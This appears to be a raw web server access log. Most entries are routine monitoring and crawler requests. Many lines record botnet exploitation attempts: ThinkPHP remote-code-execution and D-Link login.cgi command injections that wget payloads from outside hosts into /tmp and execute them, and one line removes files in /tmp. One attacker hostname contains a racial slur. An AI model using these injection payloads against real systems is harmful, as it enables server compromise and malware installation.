212.91.246.72 - - [13/Feb/2020:13:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.4.118.154 - - [13/Feb/2020:14:00:27 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
46.4.118.154 - - [13/Feb/2020:14:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
212.91.246.72 - - [13/Feb/2020:14:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.197.73.68 - - [13/Feb/2020:14:04:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.165.189.181 - - [13/Feb/2020:14:05:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.190.51 - - [13/Feb/2020:14:08:08 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.190.51 - - [13/Feb/2020:14:08:09 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.190.51 - - [13/Feb/2020:14:08:13 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.190.51 - - [13/Feb/2020:14:08:14 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.190.51 - - [13/Feb/2020:14:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [13/Feb/2020:14:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.141.2.31 - - [13/Feb/2020:14:09:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:14:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.41.25.36 - - [13/Feb/2020:14:11:15 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:14:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.171.217.63 - - [13/Feb/2020:14:12:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:14:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.129.132 - - [13/Feb/2020:14:14:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.71.31 - - [13/Feb/2020:14:14:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.238.246.178 - - [13/Feb/2020:14:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:14:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [13/Feb/2020:14:20:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.231.97.7 - - [13/Feb/2020:14:37:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:14:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.90.191.240 - - [13/Feb/2020:14:38:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.193.176.167 - - [13/Feb/2020:14:38:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.85.173.57 - - [13/Feb/2020:14:38:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
125.56.54.141 - - [13/Feb/2020:14:39:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [13/Feb/2020:14:40:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.49.48 - - [13/Feb/2020:14:43:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.90.200.28 - - [13/Feb/2020:14:47:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [13/Feb/2020:14:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.56.222 - - [13/Feb/2020:14:48:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
216.244.66.250 - - [13/Feb/2020:14:48:45 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
212.91.246.72 - - [13/Feb/2020:14:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [13/Feb/2020:14:49:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [13/Feb/2020:14:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.8.41 - - [13/Feb/2020:14:50:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
216.244.66.250 - - [13/Feb/2020:14:51:08 +0100] "GET /seiten/produkte.htm HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
212.91.246.72 - - [13/Feb/2020:14:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.129.195.30 - - [13/Feb/2020:14:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.80.89.80 - - [13/Feb/2020:14:51:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.117.172.19 - - [13/Feb/2020:14:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:14:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.65.133.249 - - [13/Feb/2020:14:53:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [13/Feb/2020:14:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [13/Feb/2020:14:56:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:14:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:14:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.33.214 - - [13/Feb/2020:14:59:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [13/Feb/2020:15:01:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [13/Feb/2020:15:01:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [13/Feb/2020:15:01:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [13/Feb/2020:15:01:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [13/Feb/2020:15:02:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:15:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.89.123.122 - - [13/Feb/2020:15:02:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.53.186.28 - - [13/Feb/2020:15:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:15:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.123.211 - - [13/Feb/2020:15:07:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [13/Feb/2020:15:09:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [13/Feb/2020:15:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.21.83.208 - - [13/Feb/2020:15:14:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:15:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.216.243.230 - - [13/Feb/2020:15:14:48 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
199.19.225.173 - - [13/Feb/2020:15:14:49 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [13/Feb/2020:15:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.98.202 - - [13/Feb/2020:15:17:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.63.186 - - [13/Feb/2020:15:18:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.63.186 - - [13/Feb/2020:15:19:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.63.186 - - [13/Feb/2020:15:21:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.63.186 - - [13/Feb/2020:15:23:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
